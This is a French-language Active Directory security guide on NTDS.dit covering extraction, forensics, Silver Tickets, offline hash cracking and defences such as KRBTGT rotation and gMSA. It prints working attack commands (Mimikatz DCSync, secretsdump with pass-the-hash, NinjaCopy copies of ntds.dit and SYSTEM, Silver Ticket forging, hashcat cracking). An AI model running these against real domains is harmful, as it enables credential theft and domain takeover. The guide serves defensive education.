NTDS.dit : Extraction, Analyse et Protection des Secrets

# DCSync avec Mimikatz (depuis une machine quelconque du domaine)
# Nécessite: Replicating Directory Changes + Replicating Directory Changes All
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# DCSync avec secretsdump.py (Impacket) - plus discret
python3 secretsdump.py -just-dc corp.local/admin:Password123@dc01.corp.local

# Extraction ciblée d'un seul utilisateur
python3 secretsdump.py -just-dc-user krbtgt corp.local/admin:Password123@dc01.corp.local

# Via pass-the-hash (sans connaître le mot de passe en clair)
python3 secretsdump.py -just-dc -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/admin@dc01.corp.local

# NinjaCopy depuis PowerSploit
Import-Module .\Invoke-NinjaCopy.ps1

# Copier NTDS.dit en lisant directement les clusters NTFS
Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "C:\temp\ntds.dit"

# Copier le registre SYSTEM
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\temp\SYSTEM"

4.3 Analyse forensique avancée

Au-delà de l'extraction de hashes, l'analyse de NTDS.dit fournit des informations forensiques précieuses pour les investigations :

• Historique des mots de passe : permet de déterminer si un compte a réutilisé d'anciens mots de passe ou suit un pattern de rotation prévisible (Password1, Password2, Password3...)
• Timestamps : pwdLastSet, lastLogonTimestamp, whenCreated, whenChanged permettent de reconstituer la timeline de l'activité du compte
• SID History : des SIDs ajoutés dans l'attribut sIDHistory peuvent indiquer une attaque de persistance cross-domaine ou une migration mal nettoyée
• Supplemental Credentials : sous Windows Server 2012 R2 et antérieur avec WDigest activé, les mots de passe en clair peuvent être récupérés
• Comptes désactivés avec hashes valides : des comptes désactivés mais dont le hash est réutilisé par des comptes actifs (password reuse)

# Analyse forensique avec DSInternals
# Identifier les comptes avec SID History (persistance potentielle)
Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey |
    Where-Object { $_.SidHistory.Count -gt 0 } |
    Select-Object SamAccountName, Sid, SidHistory

# Identifier les comptes créés récemment (backdoor potentiel)
Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey |
    Where-Object { $_.WhenCreated -gt (Get-Date).AddDays(-30) } |
    Select-Object SamAccountName, WhenCreated, Enabled, MemberOf

# Identifier les comptes avec le même hash NT (password reuse)
$accounts = Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey
$accounts | Group-Object { $_.NTHash } | Where-Object { $_.Count -gt 1 } |
    Select-Object Count, @{N='Hash';E={$_.Name}}, @{N='Accounts';E={$_.Group.SamAccountName -join ', '}}

Un Silver Ticket est un ticket de service (TGS) forgé avec le hash du compte de service cible. Contrairement au Golden Ticket qui donne accès à l'ensemble du domaine, le Silver Ticket est ciblé sur un service spécifique, ce qui le rend plus discret :

# Silver Ticket pour le service CIFS (accès fichiers) du DC
mimikatz # kerberos::golden /user:FakeUser /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /target:dc01.corp.local \
    /service:cifs \
    /rc4:[hash_du_compte_machine_DC01$] \
    /ptt

# Silver Ticket pour le service LDAP (DCSync sans être Domain Admin)
mimikatz # kerberos::golden /user:FakeUser /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /target:dc01.corp.local \
    /service:ldap \
    /rc4:[hash_du_compte_machine_DC01$] \
    /ptt

5.4 Password cracking offline

Les hashes NT extraits de NTDS.dit peuvent être craqués offline pour obtenir les mots de passe en clair. Le hash NT (NTLM) est un simple MD4 du mot de passe Unicode, sans salage, ce qui le rend vulnérable aux attaques par dictionnaire, par règles de mutation et par tables précalculées :

# Cracking avec Hashcat (mode 1000 = NT hash)
# Attaque dictionnaire simple
hashcat -m 1000 hashes.txt rockyou.txt

# Attaque dictionnaire + règles de mutation
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule

# Attaque par masque (brute force structuré)
# Pattern: Majuscule + minuscules + chiffres + spécial (ex: Password123!)
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?l?l?l?d?d?d?s'

# Résultats typiques sur un dump de 10,000 comptes:
# - 40-60% craqués avec rockyou.txt + règles
# - 70-80% craqués avec des dictionnaires spécialisés (nom de l'entreprise, ville, etc.)
# - 90%+ craqués en ajoutant des règles de mutation avancées

# Vérification des mots de passe craqués pour les comptes privilegiés
hashcat -m 1000 hashes.txt --show --username | grep -i admin

# Script de rotation du mot de passe KRBTGT
# ATTENTION: cette opération impacte l'ensemble du domaine
# Planifier en dehors des heures de pointe

# Rotation 1 (invalide le hash actuel, l'ancien reste dans l'historique)
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (
    ConvertTo-SecureString -AsPlainText (
        -join ((65..90) + (97..122) + (48..57) + (33..47) | 
        Get-Random -Count 64 | ForEach-Object { [char]$_ })
    ) -Force
)

# Vérifier la date de dernière modification
Get-ADUser krbtgt -Properties PasswordLastSet | Select-Object PasswordLastSet

# ATTENDRE 10-12 heures (max lifetime d'un TGT)

# Rotation 2 (invalide aussi le hash de l'historique)
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (
    ConvertTo-SecureString -AsPlainText (
        -join ((65..90) + (97..122) + (48..57) + (33..47) | 
        Get-Random -Count 64 | ForEach-Object { [char]$_ })
    ) -Force
)

Politique de mots de passe robuste

Puisque les hashes NT ne sont pas salés, la seule défense contre le cracking offline est la robustesse du mot de passe. Les recommandations actuelles :

gMSA (Group Managed Service Accounts)

Les gMSA sont la solution définitive pour les comptes de service. Leur mot de passe est géré automatiquement par AD, fait 240 caractères aléatoires et est roté automatiquement tous les 30 jours. Un gMSA extrait de NTDS.dit devient inutile après la prochaine rotation automatique :

# Créer un gMSA
New-ADServiceAccount -Name "svc_webapp" `
    -DNSHostName "svc_webapp.corp.local" `
    -PrincipalsAllowedToRetrieveManagedPassword "WebServers_Group" `
    -KerberosEncryptionType AES128,AES256

# Installer le gMSA sur le serveur cible
Install-ADServiceAccount -Identity "svc_webapp"

# Configurer le service Windows pour utiliser le gMSA
# Nom d'utilisateur: CORP\svc_webapp$
# Mot de passe: (laisser vide - géré automatiquement)

7.3 Surveillance continue

La surveillance continue est le dernier rempart. Déployez les contrôles suivants :

• Alertes SIEM critiques : les règles Sigma de la section 6 doivent déclencher des alertes priorité maximale avec notification immédiate de l'équipe sécurité
• Audit des permissions DCSync : vérification hebdomadaire automatisée des ACL sur la partition de domaine pour détecter l'ajout de droits de réplication
• Monitoring des accès aux DCs : journalisation complète (Event ID 4624, 4625, 4648) des logons sur les contrôleurs de domaine avec alerte sur tout logon non prévu
• Intégrité de NTDS.dit : monitoring FIM (File Integrity Monitoring) sur les répertoires %SystemRoot%\NTDS\ pour détecter les copies ou accès anormaux
• Analyse périodique de la qualité des mots de passe : exécution mensuelle de Test-PasswordQuality (DSInternals) pour identifier les comptes vulnérables au cracking

8. Scénario complet : de la compromission à la remédiation

Pour illustrer l'ensemble des concepts, voici un scénario réaliste de bout en bout :

8.1 Phase d'attaque

1. Compromission initiale : un email de phishing compromet le poste d'un utilisateur du service comptabilité
2. Élévation locale : l'attaquant exploite un mot de passe admin local identique sur plusieurs postes (absence de LAPS)
3. Mouvement latéral : pass-the-hash du compte admin local vers un serveur de fichiers où un Domain Admin a une session active
4. Credential harvesting : extraction du hash Domain Admin depuis la mémoire LSASS du serveur (Mimikatz sekurlsa::logonpasswords)
5. DCSync : utilisation du hash Domain Admin pour lancer DCSync depuis le serveur compromis, extraction de l'ensemble de NTDS.dit à distance
6. Persistance : forge d'un Golden Ticket avec le hash krbtgt, création d'un compte backdoor dans un OU peu surveillée

8.2 Phase de remédiation

Si une extraction de NTDS.dit est confirmée ou suspectée, la remédiation est massive et urgente. Considérez que tous les secrets du domaine sont compromis :

1. Contenir immédiatement : isoler les machines compromises identifiées, révoquer les sessions et tickets Kerberos des comptes compromis
2. Double rotation KRBTGT : effectuer deux rotations du mot de passe krbtgt (avec 10-12h d'intervalle) pour invalider tout Golden Ticket
3. Réinitialiser tous les mots de passe privilégiés : Domain Admins, Enterprise Admins, Schema Admins, comptes de service non-gMSA avec accès critique
4. Réinitialiser les mots de passe des comptes de service : tous les comptes dont le hash a été extrait et qui ne sont pas des gMSA
5. Auditer les comptes créés récemment : rechercher les backdoors (comptes créés par l'attaquant, comptes ajoutés à des groupes privilégiés)
6. Auditer les ACL modifiées : rechercher les modifications de permissions qui auraient permis une persistance (droits DCSync ajoutés, AdminSDHolder modifié)
7. Réinitialiser les mots de passe utilisateur : en fonction de l'analyse de risque, forcer la réinitialisation de tous les mots de passe ou cibler les comptes critiques
8. Déployer les contrôles manquants : Credential Guard, LAPS, gMSA, PAW, règles de détection

Questions frequentes

Pour approfondir ce sujet, consultez notre outil open-source bloodhound-custom-queries qui facilite l'analyse avancée des chemins d'attaque Active Directory.

9. Conclusion

Le fichier NTDS.dit est le coeur cryptographique d'Active Directory. Sa compromission donne à l'attaquant un accès total et persistant à l'ensemble du domaine -- comptes, mots de passe, clés Kerberos, tout. Les techniques d'extraction sont multiples (ntdsutil, vssadmin, DCSync, NinjaCopy) et certaines comme DCSync peuvent être exécutées à distance sans jamais toucher physiquement au contrôleur de domaine.

La défense repose sur trois piliers : prévenir l'extraction (tiering, réduction des Domain Admins, audit des droits DCSync, PAW), réduire l'impact (rotation KRBTGT, gMSA, politique de mots de passe robuste, Credential Guard) et détecter rapidement (règles SIEM, monitoring des DCs, audit continu des permissions). Aucun de ces piliers seul n'est suffisant -- c'est leur combinaison qui constitue une défense robuste.

L'audit régulier de la qualité des mots de passe via DSInternals, l'analyse des chemins d'attaque via BloodHound et le durcissement continu via les GPO de sécurisation forment le triptyque d'une posture de sécurité AD mature. Chaque organisation utilisant Active Directory devrait considérer la protection de NTDS.dit comme une priorité de sécurité absolue.

En résumé : NTDS.dit contient les clés du royaume. Protégez-le comme tel -- avec des contrôles d'accès stricts, une surveillance permanente et la capacité de répondre rapidement en cas de compromission. La question n'est pas si quelqu'un tentera d'extraire vos secrets AD, mais quand.